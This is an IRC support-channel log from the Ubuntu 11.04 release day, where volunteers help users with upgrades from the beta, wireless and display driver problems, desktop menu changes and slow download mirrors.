[15:23] <ChogyDan> Incarus6: well if not, you need to pastebin some of the files from /var/log/dist-upgrade I believe, so we can take a look
[15:23] <Sylphid> hey all....having a problem with front panel audio, if i start audio it everything defaults to rear panel however if i run aplay /some/audio.wav and start another track durring the aplay it goes to the front panel, any tips on how to toggle between front and back panel only?
[15:23] <Incarus6> ChogyDan, I used a wrong ppa some time ago, have a look: http://pastebin.com/6itQQtTz
[15:23] <riktking> hinogi: System > Administration > Hardware/Additional Drivers
[15:24] <Incarus6> ChogyDan, I can't figure out which package exactly is causing that problem, otherwise I could fix  it
[15:24] <vibhav> 3 minutes remaining
[15:24] <brianl> I had a lot of problems and when I was updating to 11.04 something messed up and everything broke and I couldnt get anything to work. So i deleted it and reinstalled 10.04...now I can't get my computer to recognize my wireless internet card. Its a BCM4311 and I know how to set it up, but it won't even see it under lspci?
[15:24] <hinogi> I have the STA drivers enabled riktking
[15:24] <ActionParsnip> brianl: do a clean install of natty instead :)
[15:24] <zetheroo> ok ... running 11.04 ... the menu is the immediate issue here ... how do you edit it???
[15:25] <ActionParsnip> zetheroo: which menu?
[15:25] <brianl> ActionParsnip, Is there a reason my computer won't recognize my wireless card anymore?
[15:25] <riktking> hinogi: sorry mate im out
[15:25] <ActionParsnip> brianl: does it show in:  sudo lshw -C network
[15:25] <zetheroo> ActionParsnip: the main menu ... when you click on the Ubuntu icon
[15:25] <vibhav> <zetheroo> can you explain the problem a little bit more?
[15:25] <niels1> I have an issue, can anyone help? the laptop screen of my ubuntu 11.04 is blank, it's recognised, but it just won't do anything.
[15:25] <niels1> an external screen works.
[15:25] <ActionParsnip> zetheroo: I think it just uses the files in /usr/share/applications
[15:25] <ChogyDan> Incarus6: I would start at the top, see if you can remove xserver-xorg-video-8
[15:26] <vibhav> <niels1> explain a liitle bit more
[15:26] <brianl> ActionParsnip, Nope, just my direct connection
[15:26] <zetheroo> vibhav: I just want to re-arrange the menu items ...
[15:26] <bakanub> niels1, intel graphics?
[15:26] <zetheroo> and how do you clear the recent files?
[15:26] <riktking> hinogi: ooh try sudo apt-get install b43-fwcutter
[15:26] <niels1> When I look at the monitor settings, the screen is there, and when I change desktop it's there, but it doesn't display anything
[15:26] <niels1> bakanub definately intel graphics.
[15:26] <zetheroo> this menu has added confusion and more clicks to what was before it :(
[15:26] <ActionParsnip> niels1: use the bootoption:   nomodeset     If you use an nvidia/ati video chip then install the proprietary driver and it should be enableable
[15:26] <jdahm> why is 11.04 LTS a different install option from 11.04?
[15:27] <Incarus6> ChogyDan, I got an error. translated: virtual packages coudln't be removed
[15:27] <ChogyDan> Incarus6: actually, Im not sure
[15:27] <ActionParsnip> jdahm: 11.04 isn't LTS
[15:27] <jatt> there is no 11.04 LTS
[15:27] <vibhav> <jdahm> there is no 11.04 LTS
[15:27] <niels1> how do I do that, ActionParsnip?
[15:27] <jatt> what he said
[15:27] <jdahm> ActionParsnip: oh, sorry, read it wrong
[15:27] <jdahm> that is 10.04 still
[15:27] <vibhav> <jdahm> 11.10 will be LTS
[15:27] <ScottONanski> Are the Ubuntu servers getting slammed?
[15:27] <ActionParsnip> niels1: what video chip are you using?
[15:27] <yofel> vibhav: no, 12.04 will
[15:27] <Avasz> vibhav, NO
[15:27] <vibhav> ok
[15:27] <zetheroo> without being able to customise the main menu this is not going to work for me
[15:27] <Incarus6> ChogyDan, I read it could be related with the gnome-desktop package, im trying to install that (so I have to downgrade Firefox 4 because of dependencys)
[15:27] <niels1> an Intel video chip, ActionParnsip
[15:27] <brianl> ActionParsnip, I had to partition everything myself when reinstalling because 11.04 was on there and i had to delete that and format the partition, I set the mount point at / for 10.04, would that mess anything up?
[15:27] <Dr_Willis|2> ScottONanski:  they always do on release day and for about a week after
[15:27] <ToeKutter> Max / Min on the left top? argh.. how to move that back to Right side?
[15:28] <Dr_Willis|2> !controls | ToeKutter
[15:28] <ubottu> ToeKutter: In Lucid, the minimize, maximize, and close buttons have been moved to the left side. For more information, please see https://bugs.launchpad.net/ubuntu/+source/light-themes/+bug/532633/comments/564
[15:28] <ActionParsnip> brianl: can't see that being an issue
[15:28] <kl_> Dr_Willis|2: is there a difference between gtk theme and metacity theme you know?
[15:28] <hsh902> how long that uasdthe new release of the ubuntu just came to us?
[15:28] <vibhav> wish me best of luck
[15:28] <Avasz> Dr_Willis|2, it is called toecutter?
[15:28] <Dr_Willis|2> kl_:  metacity is window decoration
[15:28] <ActionParsnip> brianl: is there a switch to turn the wifi off and on
[15:28] <cholo> hello
[15:28] <ToeKutter> what does that mean? -- terminal and type !controls ?
[15:28] <Avasz> oh. :(
[15:28] <vibhav> wish me best of luck! PLease!!
[15:28] <cholo> d/topic
[15:28] <Dr_Willis|2> ToeKutter:  ! is a BOT command.. read what ubottu told you
[15:28] <brianl> ActionParsnip, there is a button on the laptop, but ive hit it several times and nothing ;/
[15:28] <JediMaster> Is there a list of ubuntu mirrors I can dump in apt/sources.list as gb.archive.ubuntu.com normally gives me 80MBytes/sec on my servers and I'm getting 20kbytes/sec now due to the load from natty
[15:29] <cholo> how does one upgrade from Ubuntu Desktop Natty Beta 2 --> Ubuntu Desktop Natty
[15:29] <Toph> what is the best bittorent client under ubuntu?
[15:29] <ToeKutter> read what.. hmm not so helpful
[15:29] <ActionParsnip> brianl: reboot and run:  dmesg | less     and read through, is the wireless device detected?
[15:29] <Avasz> Toph, deluge
[15:29] <Toph> thanks
[15:29] <Dr_Willis|2> Toph:  depends on your needs.
[15:29] <JediMaster> Toph: or rtorrent for terminal
[15:29] <ActionParsnip> cholo: depends when you last updated the OS
[15:29] <ChogyDan> Incarus6: what about term.log?
[15:29] <misse-> Toph: deluge is my opinion as well :)
[15:30] <Soothsayer> [TK]D-Fender: you around ?
[15:30] <niels1> ...still have no clue what to do with my blank screen...
[15:30] <Dr_Willis|2> ToeKutter:  theres fromt ends to change the controlls back,. or theres some command you cut/paste to move them back. I use Ubuntu-tweak to handle it.
[15:30] <cholo> last updated Beta 2
[15:30] <misse-> JediMaster: deluge has a cli interface as well
[15:30] <[TK]D-Fender> Soothsayer: Yup
[15:30] <cholo> a week ago
[15:30] <Travis-42> is there any way to see all of the changes I have made to /etc files?
[15:30] <jdahm> I love how the community page recommends 64 bit but the main download page recommends 32 bit
[15:30] <Toph> Dr_Willis|2,,, a very basic,, i'm new to bittorents
[15:30] <hsh902> how long just the new version of ubuntu is released?
[15:30] <Avasz> Toph, not sure if it is true.... but i have experienced more bandwidht in transmission than in deluge.
[15:30] <Incarus6> ChogyDan, empty
[15:30] <ActionParsnip> Toph: there is no single best application for any one situation in any OS
[15:30] <ChogyDan> Incarus6: what file was it that you posted?
[15:30] <Dr_Willis|2> Toph:  use the one included by default then. it does the job.
[15:30] <Avasz> Toph, if new.. then transmission will be ok.
[15:30] <Incarus6> ChogyDan, apt.log
[15:31] <zetheroo> so is there no way to edit the menu?
[15:31] <byomkeshbakshi> hi I tried to install ubuntu using wubi, but got this error
[15:31] <ActionParsnip> Toph: best is an opinion based on needs and tastes, why not try a few yourselfand use what YOU think is best
[15:31] <byomkeshbakshi> OSError: [Errno 13] Permission denied: u'E:\\ubuntu\\install\\ubuntu-10.04.2-desktop-amd64.iso'
[15:31] <ChogyDan> Incarus6: are there any other files?
[15:31] <home-alone> does ubuntu 11.04 normal download has wubi installer in it...????
[15:31] <cholo> is there a requirment to upgrade from beta 2'
[15:31] <Incarus6> ChogyDan, yes, main.log
[15:31] <ActionParsnip> byomkeshbakshi: did you MD5 test the ISO you downloaded
[15:31] <Toph> sorry,, I hadn't noticed Transmission already installed
[15:31] <vibhav> wish me best of luck in install 11.04!
[15:31] <ActionParsnip> cholo: when you install upgrades you will be on the stable release
[15:31] <byomkeshbakshi> actionparsnip: no
[15:31] <KM0201> Toph: transmission has been a default app for... ? a while... a long while
[15:31] <ChogyDan> Incarus6: can I see that?
[15:31] <ActionParsnip> gl vibhav
[15:31] <cholo> ok i am on beta
[15:32] <vibhav> <ActionParsnip> thanks
[15:32] <brianl> ActionParsnip, nope, no wireless card was detected
[15:32] <ActionParsnip> byomkeshbakshi: then how do you know it was consistent or complete?
[15:32] <Incarus6> ChogyDan, it got just 7 lines, nothing important
[15:32] <Dr_Willis|2> cholo:  upgradeing today may be slow - due to server load.
[15:32] <brianl> ActionParsnip, Maybe i will download natty onto a cd and perform a clean install and try again ugh
[15:32] <ActionParsnip> brianl: and that's in a Lucid install
[15:32] <cholo> maverick said i can upgtrade, beta 2 said nothung;'
[15:32] <brianl> ActionParsnip, yes lucid, it has always worked before also
[15:32] <Incarus6> ChogyDan, http://pastebin.com/BY8W6mgT
[15:32] <cholo> do i do dist-upgrade
[15:32] <ActionParsnip> brianl: very strange
[15:32] <cholo> in beta 2
[15:32] <KM0201> cholo: you should be able to.
[15:32] <hsh902> hey guys, does anyone know how long that we just have the new version of UBUNTU?? (ubuntu 11.4)
[15:32] <Dr_Willis|2> cholo sudo apt-get update, sudo apt-get upgrade ,. perhaps sudo apt-get dist-upgrade    done...
[15:32] <cholo> ok
[15:33] <byomkeshbakshi> ActionParsnip: it made a logfile where this error is mentioned. Also, I just ran the installer from website, did not download an ISO image.
[15:33] <brianl> ActionParsnip, yep, maybe this button needs to be pressed on startup or something, ill mess around with it ;) Thanks anyways
[15:33] <ActionParsnip> cholo: upgrade or dist-uprade from beta2 and you will have the stable releasae
[15:33] <Dr_Willis|2> hsh902:  that made no sence.. rephrase the question.
[15:33] <cholo> outstanding
[15:33] <hsh902> sudo apt-dist upgrade
[15:33] <cholo> i have been using each alpha and beta.
[15:33] <Monotoko> I take it the torrents will be faster if I want to completly reinstall..?
[15:33] <ActionParsnip> byomkeshbakshi: without knowing if the image you have is good, you are wasting your time
[15:33] <cholo> i spoke with gnome2 developers at MIT last week
[15:33] <KM0201> hsh902: it's 11.04   and it will be supported for 18mo
[15:33] <Dr_Willis|2> Monotoko:  for downloading the iso's right now. toirrents are real fast.
[15:33] <cholo> er, gnome3 developers, last week
[15:33] <niels1> how come my intel laptop screen is just turned off? and how do I turn it on?
[15:34] <byomkeshbakshi> ActionParsnip: hmm, ok. Can you suggest proper way of installation?
[15:34] <eigba> How do you guys like unity? I know I will have to try it myself, just wanting to get opinions
[15:34] <cholo> and gnome3.2 will have on-screen keyboard (for you [and i] with tablet pc's)
[15:34] <ActionParsnip> !md5 | byomkeshbakshi
[15:34] <ubottu> byomkeshbakshi: To verify your Ubuntu ISO image (or other files for which an MD5 checksum is provided), see http://help.ubuntu.com/community/HowToMD5SUM or http://www.linuxquestions.org/linux/answers/LQ_ISO/Checking_the_md5sum_in_Windows
[15:34] <hsh902> Dr_Willis|2: today they just released the new version of 11.4? do u know when exactly?
[15:34] <cholo> eigba: its a great shell.
[15:34] <jatt> eigba: -> https://bugs.launchpad.net/unity/+bug/648180
[15:34] <ubottu> Ubuntu bug 648180 in unity (Ubuntu) "Unity sucks" [Undecided,Opinion]
[15:34] <ActionParsnip> eigba: why do you need opinions? Do you want to  be told what to thhink?
[15:34] <Avasz> niels1, more details?
[15:34] <Incarus6> ChogyDan, any Idea how to compare the installed versions with the repo versions and how to downgrade the packages?
[15:34] <Dr_Willis|2> hsh902:  you mean the time? No idea.. donrt really care or pay attention to it.
[15:34] <ToeKutter> its called "Theme". I found it. thanks noone
[15:34] <ActionParsnip> eigba: it'sok. I suggest you install it and use it, you can always remove it
[15:34] <IncognitoMan> http://pastebin.com/1GwpDYip can anyone help me with my dial in problem? it seems to disconnect just as i connect :|
[15:34] <ChogyDan> Incarus6: apt-cache policy <package>
[15:35] <Incarus6> ToeKutter, your welcome
[15:35] <cholo> then +ban list in #ubuntu is quite facist.
[15:35] <eigba> Of course not I like to try out new things just wanted opinions
[15:35]  * Dr_Willis|2 sends ToeKutter the bill.
[15:35] <eigba> who the hell said I want to be told what to think
[15:35] <niels1> the scree is just turned of, like Ubuntu thinks it's closed or someting, it's just recognised, but switched of. Avasz
[15:35] <faylcon> just insalled 11.04 and it doesn't support my wireless card: BCM4318, 10.10 on another partition works just fine.
[15:35] <thegoodcushion> Anyone here using a Hewlett-Packard Deskjet 2000 with Ubuntu?  I'm thinking of buying one for my Ubuntu box and I want to know if it'll work well
[15:35] <Incarus6> ChogyDan, and for several / all packages?
[15:35] <ToeKutter> :-)
[15:35] <eigba> I honestly love gnome 3, but its always fun to try out new things
[15:35] <ActionParsnip> eigba: it smells the same
[15:35] <jdahm> why doesn't ubuntu push bittorrents more?
[15:35] <cholo> they do
[15:35] <jdahm> it is far easier to download
[15:35] <misse-> niels1: Hey, regarding your blank laptop screen + intel gpu.. there is some magic kernel option which I entered in grub on my moms laptop, at least for 10.04.
[15:35] <ActionParsnip> eigba: its a small download and easy to remove, try it and youo might like it
[15:35] <ChogyDan> Incarus6: maybe just try aptitude full-upgrade       and see what it reports
[15:35] <LjL> jdahm: we do...
[15:36] <Monotoko> IncognitoMan...how are you trying to connect...via command line?
[15:36] <cholo> its great to download.
[15:36] <jatt> eigba: or you might hate it
[15:36] <evfool> does anyone know how to contact someone from the canonical shop?
[15:36] <JediMaster> btw for those who want to do-release-upgrade a bit faster, check out the archive mirrors: https://launchpad.net/ubuntu/+archivemirrors
[15:36] <evdvelde> hi all, bluetooth troubles after upgrading to natty: adapter not found after booting (needs extra service restart) and bluetooth mouse moving and scrolling but not clicking... your help is appreciated!
[15:36] <Incarus6> ChogyDan, I tried that before, nothing happens (Im currently install ubuntu-desktop)
[15:36] <niels1> and how do I do that, misse-?
[15:36] <Incarus6> *installing
[15:36] <jdahm> LjL: I don't see it on the main page.  I had to go to "alternative downloads".  Is that right?
[15:36] <MK``> How's 11.04? :)
[15:36] <jdahm> LjL: I'm dlownloading it via torrent now
[15:36] <Avasz> niels1, laptop or desktop?
[15:36] <LjL> jdahm: well... we push it on IRC, at least.
[15:37] <niels1> Avasz laptop
[15:37] <eigba> Of course I have many boxes to try it on, just wanted to see what people here thought. From most reviews ive read people hate it. again trying it out is not the problem for me.
[15:37] <ActionParsnip> MK``: been fine here for months
[15:37] <Monotoko> torrent download is fast :D
[15:37] <MK``> Cool. I'll be torrenting it soon
[15:37] <Incarus6> MK``, it could be great, if you are able to install it ;)
[15:37] <bakanub> Somehow natty doesnt like my notebook. Native resolution is 1280x800, but Natty only allows me to choose 1024x768 (the rest is simply cropped). VGA is an integrated intel mobile gm965/gl960. Liveusb and a clean install gives the same result. Tried nomodeset - helped with the resolution, but lost unity
[15:37] <Avasz> niels1, sleep?
[15:37] <ChogyDan> Incarus6: yeah, Im not sure.  I also like to run `sudo apt-get install ubuntu-desktop^`  with the ^
[15:37] <zzecool> hmmmm does anyone knows where is the Adobe AIR 2 package ????
[15:38] <cholo> dist-upgrade is not required
[15:38] <hsh902> is it correct? sudo apt-get dist-upgrade
[15:38] <hsh902> ?
[15:38] <Incarus6> bakanub, does that issue only appear in unity?
[15:38] <ActionParsnip> Monotoko: lots of seeders ;)
[15:38] <cholo> sorry, is not working
[15:38] <Incarus6> ChogyDan, with the ^?
[15:38] <MK``> I probably won't upgrade just yet but I'll seed the torrent
[15:38] <ActionParsnip> hsh902: yes
[15:38] <niels1> what u mean, sleep? It's working now, I'm actually chatting to you on my laptop using an external screen Avasz.
[15:38] <bashelina> if you choose unity can you switch to gnome 2  at gdm ?
[15:38] <Monotoko> ActionParsnip...I usually seed for a few weeks when I've downloaded :)
[15:38] <jdahm> LjL: I'm probably switching to
[15:38] <MK``> I do want to upgrade however as the new kernel fixes a hardware bug for me
[15:38] <jdahm> LjL: eh sorry one sec
[15:38] <bakanub> Incarus6 the problem only is with 11.04. 10.10 worked out of the box
[15:38] <Avasz> niels1, oh.. you mean you have connected an external monitor?
[15:38] <Soothsayer> [TK]D-Fender: you around
[15:38] <Soothsayer> ?
[15:38] <Dr_Willis|2> bashelina: gnome 2 is the classic desktoip in the gdm menuis
[15:38] <jdahm> LjL: I'm probably switching to ubuntu because everyone at work runs it :P  (instead of arch)
[15:38] <ChogyDan> Incarus6: yes
[15:38] <Monotoko> I swear I've never seen this channel so busy
[15:39] <eigba> jdahm, Arch users here too
[15:39] <ActionParsnip> Monotoko: its one seed I always keep, Everything else I give 1 back. I also have a tiny text doc from a snes rom file to show idiots that ratio is worthless
[15:39] <Incarus6> bakanub, yes, 10.10 wasnt using unity by default. you used gnome before, right?
[15:39] <Dr_Willis|2> Monotoko:  typical release day. happens every 6 mo. :)
[15:39] <IncognitoMan> <Monotoko> IncognitoMan...how are you trying to connect...via command line? --> pretty much
[15:39] <LjL> jdahm: i recommend using !metalink myself
[15:39] <yellow7> how do i update from 11.04 beta to the official release?
[15:39] <Incarus6> ChogyDan, one minute ;)
[15:39] <IncognitoMan> its my dc pc server setup
[15:39] <[TK]D-Fender> Soothsayer: Already answered yes the first time...
[15:39] <zzecool> does anyone knows where is the Adobe AIR 2 package ????
[15:39] <niels1> yeah, and that one works, Avasz, but the laptop screen itself is blank (but recognised, and configured in "monitors" settings) disconnecting my external doesn't help.
[15:39] <Bisu[Shield]> how do I run the output of a string as a command. eg run >> ( history | grep ssh )
[15:39] <Radios> im running slack 13.37
[15:39] <IncognitoMan> dreamcast -> pc -> eth
[15:39] <Avasz> niels1, then.. there are some shortcut keys in your laptop to have dual screen... mine is fn+f7. not sure what its in yours.
[15:39] <Dr_Willis|2> yellow7:  if you update normally.. it will do that.
[15:39] <bakanub> Incarus6, yes
[15:39] <Incarus6> yellow7, sudo apt-get update && sudo apt-get dist-upgrade
[15:39] <td123> yellow7: just do a normal update
[15:39] <jdahm> LjL: what do you mean?
[15:39] <ToeKutter> Unity doesnt run in VMWare... blah..
[15:40] <Avasz> niels1, but dont try that combination without being sure.
[15:40] <Monotoko> ActionParsnip...any idea how I seed it from this computer when I install natty?
[15:40] <brianl> ActionParsnip, I got it working now ;D I booted into windows, turned the wireless on, then booted back into linux and it worked.
[15:40] <Dr_Willis|2> ToeKutter:  try the unity-2d desktop then.
[15:40] <niels1> Avasz, it is in dual screen mode, my laptop actually tinks it's on, it just isn't.
[15:40] <cholo> ToeKutter: Gnome3 does not run in VMWare on Fedora Beta and Ubuntu Beta
[15:40] <ToeKutter> Dr-Willis - what do I need to do for that?
[15:40] <cholo> Its not Unity.
[15:40] <cholo> do i need to change any sources for upgrading beta2 to official release
[15:40] <cholo> *sigh*
[15:40] <Dr_Willis|2> ToeKutter:  install the proper package I guess.. ive just read about the unity-2d stuff using qt.
[15:41] <ActionParsnip> Monotoko: you could add the torrent and get the file created, then kill the app and replace the partial file with the completed file, you will then seed it
[15:41] <ToeKutter> k. ill snoop around
[15:41] <Ubuntu_user> Wow 11.04 released
[15:41] <Dr_Willis|2> cholo:  no you do not.
[15:41] <Avasz> niels1, try some combination with fn.. and function keys with monitor type pic on it.
[15:41] <Monotoko> ActionParsnip...that's what I was thinking, thanks :)
[15:41] <Ubuntu_user> any tried it? hows it?
[15:41] <Dr_Willis|2> cholo:  if you installed/used beta. the normal update/upgrade/dist-upgrade will update you to the filnal release.
[15:41] <brianl> Can someone tell me what the difference between update-manager and sudo apt-get update is? when i run the apt-get command it just says done, but when i use update-manager it has tons of stuff that i need to update
[15:41] <Dr_Willis|2> !final
[15:41] <ubottu> If you install a development version of Ubuntu Natty and keep up with package updates, then you will be upgraded to the official release of 11.04 when it comes out. To make sure, type « sudo apt-get update && sudo apt-get dist-upgrade » in a console.
[15:41] <remoteCTRL3> hi guys! i need some sort of linux app that helps me shrink 3MB jpegs to 150KB jepegs, any ideas please?
[15:41] <ActionParsnip> brianl: cool, I suggest you go into device manager and tell windows to not allow the device to wake up the OS, and disable power management on it
[15:41] <cholo> i dont see any notifications for Final Release
[15:41] <cholo> when i do dist-upgrade and re-check via Update Manager GUI
[15:42] <ToeKutter> Dr Willis - its in Software center
[15:42] <hiexpo> remoteCTRL1, gimp
[15:42] <cholo> should i select the source "proposed Natty"
[15:42] <Dr_Willis|2> cholo:  perhaps there is no update that 'final' is out.. since it just sees it as a set of normal uypdate dpackages.
[15:42] <ToeKutter> "Unity 2D Panel"
[15:42] <arand> cholo: I guess you have it then
[15:42] <Incarus6> cholo, dist-upgrade wont show release notifications, try "update-manager"
[15:42] <remoteCTRL3> hiexpo: erm... maybe smothing that does not require an academical title...?
[15:42] <Monotoko> I don't think it shows a release notification
[15:42] <ChogyDan> cholo: try update-manager -c
[15:42] <Monotoko> just a lot of packages
[15:42] <ChaosR> lol, bug, enabling sync to vblank results in epic slowness
[15:42] <cholo> -c right?
[15:42] <Incarus6> cholo, did you use the beta version before?
[15:42] <Monotoko> it did when I was testing 10.10
[15:42] <cholo> dddYeah
[15:42] <IncognitoMan> hmm...
[15:43] <likewhoaho2> Brb, I just farted out a butt turd
[15:43] <Ubuntu_user> hows 11.04,
[15:43]  * IncognitoMan scratches head
[15:43] <cholo> hmm
[15:43] <Incarus6> cholo, so its updating like normal package updates, not like a release upgrade
[15:43] <niels1> Avasz that doesn't do anything besides freezing the one I have...
[15:43] <cholo> I have used Alpha nd Beta etc..
[15:43] <Dr_Willis|2> cholo:  so you proberly are updated then
[15:43] <LjL> !metalink > jdahm    (jdahm, see the private message from ubottu)
[15:43] <cholo> I am on Beta2
[15:43] <cholo> Hmmph
[15:44] <evdvelde> hi all, bluetooth troubles after upgrading to natty: adapter not found after booting (needs extra service restart) and bluetooth mouse moving and scrolling but not clicking... your help is appreciated!
[15:44] <Incarus6> ChogyDan, should I retry to upgrade after that command (which I didnt run yet)
[15:44] <nijabo> I tried an update, didn't get many updates at all.. like 700kb
[15:44] <cholo> do you think it has changed a bunch?
[15:44] <cholo> hey evdvelde : do sudo killall bluetoothd ; bluetoothd
[15:44] <Monotoko> cholo, go to "Help" then "About"
[15:44] <cholo> i think this bug will get fixed soon.
[15:44] <Ubuntu_user> I always face grub problem when Win 7 and Ubuntu dual boot
[15:44] <cholo> Monotoko:.
[15:44] <ChogyDan> Incarus6: I think
[15:44] <Monotoko> and see if it says anything about Beta
[15:44] <arand> !final | cholo
[15:45] <ubottu> cholo: If you install a development version of Ubuntu Natty and keep up with package updates, then you will be upgraded to the official release of 11.04 when it comes out. To make sure, type « sudo apt-get update && sudo apt-get dist-upgrade » in a console.
[15:45] <cholo> ok
[15:45] <jdahm> LjL: see it.  Thanks
[15:45] <evdvelde> cholo: on restarting the service (/etc/init.d/bluetooth restart) adapter is found, but the mouse acts strangely
[15:45] <Ubuntu_user> any solution
[15:45] <nijabo> thanks arand
[15:45] <escott> Ubuntu_user, need more information
[15:45] <nijabo> Didn't find any upgrades, suppose my system is up-to-date
[15:45] <cholo> evdvelde: yeah there should be some changes via PPA
[15:46] <urbanpt> Hi!
[15:46] <cholo> i had some issues with Broadcom 2.0's
[15:46] <evdvelde> cholo: so i just have to pray and wait for updates? :)
[15:46] <flo> what about the energy consumption of memory? say, running latexila uses only 5,7 MB, the same docs in gedit take 47,5 MB, however. is there a difference in the energy software "consumes"?
[15:46] <cholo> (which is unacceptable)
[15:46] <ScreenIssues> Question: Upgraded 10.10 to 11.04. Screen was black on reboot. Downloaded the new 11.04 iso to clean install. Installer is too dim on monitor (new laptop) to install. Is there a solution?
[15:46] <cholo> evdvelde: no, just look for a patch/fix
[15:46] <evdvelde> cholo: been looking, the kernel with patch failed as well
[15:46] <cholo> ScreenIssues: Use the function key + Fx key
[15:47] <cholo> evdvelde:  it is not a kernel issue.
[15:47] <ScreenIssues> Fx key?
[15:47] <Ubuntu_user> escott:  Yep when i install both together in different drives I face this problem. As soon as i start windows and restart the computer it shows me black screen written that grub found no operating system and so on
[15:47] <cholo> i think it is a userspace patch
[15:47] <escott> flo not really it still gets clocked regularly
[15:47] <Monotoko> guys: "If you have been keeping up-to-date via the update manager, you automatically have the latest version, the Release Candidate. To do it via the command line, just enter"
[15:47] <evdvelde> cholo: http://fossplanet.com/f10/%5Bbug-700292%5D-%5Bnew%5D-bluetooth-keybord-after-natty-upgrade-not-working-92191/index2.html
[15:47] <Monotoko> http://ubuntuforums.org/showthread.php?t=574326
[15:47] <bkerensa> Ubuntu Natty repos seem so slow.... 99kbps downloads ugh
[15:47] <cholo> hmm
[15:47] <Monotoko> bkerensa, it will be
[15:47] <cholo> bkerensa: change the source
[15:47] <azi`> i have installed an application (adobe AIR) that is only supported on 32 bit ubuntu. now i've noticed that there is no sound in *.air applications. is there any way I could check if there is some i386 sound library that is missing?
[15:47] <brianl> im getting 20mb/sec eh
[15:47] <nijabo> bkerensa, many people are updating now perhaps
[15:47] <jnye> silly question.. how do i move the new launcher to the right hand side of the screen?
[15:47] <brianl> kb/sec i mean lol
[15:47] <cholo> i use use an Internet2 downloader
[15:48] <DirtyDawg> great when trying the new ubuntu the screen goes so dim i cant see it :(
[15:48] <philsf> hi. since yesterday I don't have a pidgin indicator in the messaging menu. How can I re-enable it?
[15:48] <Ubuntu_user> brianl:  thats too good
[15:48] <Incarus6> bkerensa, change repos to a local server instead of the general server
[15:48] <Monotoko> do they have torrent repos..?
[15:48] <cholo> use ubuntu.media.mit.edu/ubuntu
[15:48] <jatt> jnye: you cannot
[15:48] <escott> Ubuntu_user, so grub loads but can't chainload windows? or after a windows boot grub can't load anything
[15:48] <brianl> Ubuntu_user, I meant kb/sec
[15:48] <cholo> they do not have torrent repos
[15:48] <urbanpt> I'm not very familiar with the new upstart manager, but I needed to have a job running after each time mysql is restarted. I've added the script path to /etc/init/mysql.conf on the post-start script part but it didn't work. Any hints?
[15:48] <Monotoko> damn :(
[15:48] <jatt> jnye: you cannot hide it either
[15:48] <bkerensa> Has anyone tried Classic Session on Natty? I dont wanna use the Unity Integrated menus.
[15:48] <Ubuntu_user> brianl:  ohhh sudden
[15:48] <tim__> hi! first of all: congrats on the new ubuntu, seems like a great release!
[15:48] <ChogyDan> Monotoko:  http://torrent.ubuntu.com:6969/
[15:48] <cholo> bkerensa: Classic will be phased out next 11.11 release
[15:48] <invinciblemutant> has anyone here successfully upgraded from 10.10 using do-release-upgrade
[15:49] <Ubuntu_user> escott:  i think windows does something
[15:49] <jnye> jatt: that's anonying.. i'm on a dual screen setup with virtualbox on the right.. i can't get the launcher to pop up easily since my mouse moves to the other monitor
[15:49] <bkerensa> cholo: Are you kidding me?
[15:49] <brianl> cholo, why is that?
[15:49] <shermanboyd_> could anyone tell me what the state of softraid is in 11.04, I think the docs I am reading are out of date
[15:49] <bkerensa> cholo: So they are forcing people to use integrated menus
[15:49] <invinciblemutant> cholo: gnome to be phased out?
[15:49] <tim__> only have one problem though: i have an hp mini 210 and although all problems i had to conquer on 10.10 have been solved, one remains: the touchpad gives a lot of problems when for example wanting to select things
[15:49] <ChogyDan> cholo is just trolling folks
[15:49] <MK``> I predict a GNOME 3 Gubuntu derivative around the time of the next release.
[15:49] <Tristantio> I don't use menus (I use hotkeys like CTRL ALT F for firefox).  Is there any point for me to go 11.04?
[15:49] <arand> cholo: That decision is not finalised, but expected I think.
[15:50] <zaid_h> owdy folks
[15:50] <phoque_uni> can I use my keychain if I copy my ~ directory to a new/old Ubuntu install?
[15:50] <Ubuntu_user> Is any body using Ubuntu with Windows 7
[15:50] <berefeira> unity on netbook, what say you?
[15:50] <philsf> hi. since yesterday I don't have a pidgin indicator in the messaging menu. How can I re-enable it? I've been using natty since beta
[15:50] <MK``> Yeah Ubuntu_user
[15:50] <tim__> it's very jumpy. have been looking for solutions again but honestly ive tried so many things from synaptics that im pretty confused :)
[15:50] <Amanda> Hello. I'm writing an upgrade guide and do-release-upgrade failed with some errors/asked me to report it as a bug. I can do that, but I was wondering if there are any compelling reasons not to have people mangle sources.list manually and do it the old fashioned way to get around this
[15:50] <Monotoko> Ubuntu_user...XP and Ubuntu, whats up?
[15:50] <brianl> Ubuntu_user, I have my computer partitioned with windows 7 and ubuntu
[15:50] <MK``> same ^
[15:50] <escott> Ubuntu_user, you need to better explain your problem i dont understand what you are saying is happening
[15:50] <Incarus6> ChogyDan, "libpolkit-gobject-1-0 : Stört: libpolkit-gtk-1-0 (< 0.99) aber 0.96-2ubuntu4 soll installiert werden" sry ik its german, should i translate?
[15:50] <invinciblemutant> i find it is not easy to upgrade to natty
[15:50] <Ubuntu_user> MK``: Monotoko  brianl  are you guys using full install or install inside windows
[15:51] <invinciblemutant> terminated by itself twice
[15:51] <ChogyDan> Incarus6: what command is that from?
[15:51] <bkerensa> Well if they remove the Classic Session option from Natty I will have to go back to Maverick
[15:51] <Amanda> invinciblemutant: Did you have the same problem? :S
[15:51] <Ubuntu_user> escott:  Okay I tell it
[15:51] <MK``> full install Ubuntu_user, separate partitions using the LiveCD
[15:51] <Monotoko> Ubuntu_user..full install
[15:51] <invinciblemutant> same problem?
[15:51] <brianl> I did a full install from boot off the cd, completely separate from windows
[15:51] <Amanda> invinciblemutant: See what I said above haha
[15:51] <flo> escott, what's clocking?
[15:51] <Incarus6> ChogyDan, "sudo apt-get install ubuntu-desktop^"
[15:51] <jatt> jnye yeah it as also a lot of issues with dual monitors stuff too
[15:51] <shermanboyd_> https://wiki.ubuntu.com/ReliableRaid
[15:51] <invinciblemutant> amanda: you have the same problem too?
[15:51] <nazo> could anybody please tell me where I can find an md5sum for the 11.04 desktop image listed on the website?
[15:51] <invinciblemutant> amanda: have you got the solution?
[15:51] <nazo> thanks
[15:51] <bkerensa> I do not like this integrated menus stuff.... It reminds me when MS added the crayola crayon of a taskbar to XP
[15:51] <Amanda> invinciblemutant: Nope :(
[15:52] <Ubuntu_user> MK``:  So Win 7 don't create any problems with booting
[15:52] <invinciblemutant> amanda: have you got any idea from the room?
[15:52] <berefeira> has anyone run apt-get dist-upgrade and had problems?
[15:52] <arand> Amanda: do-release-upgrade does that and disables PPAs etc. in addition, it also creates opens SSH for recovery purposes I think, but in essence yes, editing sources is fully possible, but you have to know what you're doing, obviously...
[15:52] <ChogyDan> Incarus6: is that the only error?  or just the last?
